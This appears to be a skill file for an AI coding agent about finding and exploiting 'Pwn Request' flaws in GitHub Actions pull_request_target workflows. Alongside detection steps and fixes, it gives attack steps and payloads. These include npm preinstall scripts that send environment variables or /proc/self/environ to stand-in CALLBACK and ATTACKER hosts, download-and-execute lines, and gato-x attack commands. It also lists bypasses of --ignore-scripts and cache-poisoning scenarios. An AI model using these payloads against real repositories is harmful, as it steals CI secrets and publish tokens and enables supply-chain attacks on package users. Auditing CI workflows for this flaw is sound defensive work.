| name | pwn-request |
| description | Use when hunting Pwn Request vulnerabilities where pull_request_target workflows checkout attacker-controlled PR code and execute it in a privileged context with access to repository secrets. Trigger on: "pwn request", "pull_request_target", "checkout PR head", "npm install in CI", "lifecycle scripts in CI", "preinstall script", "postinstall script", "package.json scripts CI", "npm ci ignore-scripts false", "actions/checkout ref pull request head sha", privileged workflow running PR code, "Gato-X", supply chain via PR lifecycle scripts.
|
| license | MIT |
| compatibility | Designed for Claude Code. Requires access to target .github/workflows/. |
| metadata | {"category":"cicd","version":"0.1","source":"https://www.landh.tech/blog/20251003-36m-installs/","source_types":"blog_post"} |
Pwn Request
What Is Broken and Why
A "Pwn Request" occurs when a pull_request_target workflow โ which runs in the context
of the base repository with access to its secrets โ explicitly checks out the PR
contributor's code and executes it (via npm install, make, build scripts, etc.).
pull_request_target was designed to safely access secrets for things like posting
comments on PRs from forks, but developers mistakenly combine it with a checkout of
the PR head SHA, collapsing the trust boundary. Any attacker who can open a PR can
now execute arbitrary code with the repository's GITHUB_TOKEN and all configured secrets.
The npm preinstall/postinstall lifecycle scripts are the most common execution vector โ
they run automatically during npm install / npm ci with no additional flags required
unless --ignore-scripts is explicitly set.
Key Signals
on: pull_request_target trigger in a workflow file
actions/checkout step with ref: ${{ github.event.pull_request.head.sha }} or ref: ${{ github.head_ref }}
- Package manager install step after that checkout:
npm install, npm ci, yarn, pnpm install
--ignore-scripts=false explicitly set (overrides safe default) or --ignore-scripts absent
permissions: contents: write or secrets.* accessible in the same job
- Build/test job that runs attacker's code AND has access to publish tokens or deployment keys
- Cache key derived from
hashFiles('**/package.json') โ attacker controls package.json
Methodology
- Find all
pull_request_target workflows:
grep -rln 'pull_request_target' .github/workflows/
- For each, check if
actions/checkout references PR head code:
grep -A5 'actions/checkout' .github/workflows/WORKFLOW.yml | grep 'head.sha\|head_ref'
- Identify what runs after checkout:
npm install, yarn, pnpm, make, build scripts.
- Check if
--ignore-scripts is set. If absent or =false, lifecycle scripts execute.
- Enumerate secrets accessible in the workflow (
secrets.* references, environment names).
- Check if the same cache key is shared with a privileged downstream workflow (release, publish).
- Craft malicious
package.json with payload in preinstall or postinstall.
- Open a PR from a fork โ workflow triggers automatically.
- Collect exfiltrated secrets via CALLBACK server or OOB DNS.
Payloads & Tools
{
"name": "target-package",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -sSfL https://CALLBACK/$(printenv | base64 -w0)"
}
}
{
"scripts": {
"preinstall": "curl -sSfL https://ATTACKER/cacheract.js > /tmp/r.js && node /tmp/r.js"
}
}
{
"scripts": {
"build:npm": "node resources/build-npm.js && curl -sSfL https://ATTACKER/r.js > /tmp/r.js && node /tmp/r.js"
}
}
gato-x enumerate --target ORG --type org
gato-x attack --target REPO --pwn-request
gh search code 'pull_request_target' --owner ORG -l yaml | \
grep -l 'checkout' | xargs grep 'head.sha\|head_ref'
Bypass Techniques
--ignore-scripts bypass: if set on npm ci but not on a subsequent npm install --prefer-offline, the cached (now poisoned) node_modules still executes โ install scripts run on restore
- Indirect script execution: if
npm ci --ignore-scripts is used, target the build script directly (npm run build) which may call attacker-controlled scripts
prepare script: runs on npm install and npm pack โ often overlooked vs preinstall/postinstall
- Composite actions: if the workflow calls a composite action checked out from the PR, the action's steps execute with the workflow's permissions
workflow_run chaining: if the pwn-request workflow uploads artifacts, a downstream workflow_run event may consume them with elevated permissions
Exploitation Scenarios
Scenario 1 โ NPM publish token via preinstall (cross-fetch pattern)
Setup: pull_request_target workflow checks out PR head, runs npm install using a cache key derived from package.json hash. A separate release workflow restores the same cache key and runs npm publish with NPM_TOKEN.
Trigger: Attacker opens PR with preinstall: "node /tmp/cacheract.js" in package.json. Cacheract poisons the shared cache key.
Impact: Next release run restores poisoned cache, NPM_TOKEN exfiltrated. Attacker can publish malicious versions of the package to npm (20M weekly downloads).
Scenario 2 โ Direct GITHUB_TOKEN theft
Setup: pull_request_target with permissions: contents: write checks out PR and runs npm ci.
Trigger: preinstall script runs curl -d @/proc/self/environ https://CALLBACK.
Impact: GITHUB_TOKEN (write scope) exfiltrated immediately. Attacker can push to protected branches, create releases, modify workflow files.
Scenario 3 โ Composite action injection
Setup: Workflow calls uses: ./.github/actions/build with ref: ${{ github.event.pull_request.head.sha }}.
Trigger: Attacker's PR replaces action.yml with malicious steps.
Impact: Attacker's steps execute with the calling workflow's full permissions.
False Positives
pull_request_target workflow that does NOT checkout the PR head (only base branch code) โ safe
npm ci --ignore-scripts with no subsequent install step โ scripts cannot execute
- Workflow only posts comments or labels, never runs code from the PR
- Secrets gated behind an
environment: with required reviewers โ attacker's job won't get them
Fix Patterns
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install
on: pull_request
steps:
- uses: actions/checkout@v4
- run: npm ci --ignore-scripts
on: pull_request_target
steps:
- uses: actions/checkout@v4
- run: echo "Post comment only, no build"
- Always use
npm ci --ignore-scripts in CI; run lifecycle scripts explicitly and audited
- Never share cache keys between untrusted (PR) and trusted (release/publish) workflows
- Gate publish jobs behind environments with required reviewers
- Use Gato-X or workflow audits to find
pull_request_target + checkout combinations
Related Skills
[[github-actions-script-injection]] is the technique that fires once a pwn-request gets RCE โ the preinstall script or build step is effectively an injection point for arbitrary shell commands. [[self-hosted-runner-poisoning]] dramatically amplifies pwn-request impact: code executing on a persistent self-hosted runner can access long-lived credentials, VM state, and infrastructure not reachable from ephemeral GitHub-hosted runners. After secrets are exfiltrated, [[github-actions-cache-poisoning]] can be used as a pivot to affect downstream publish workflows.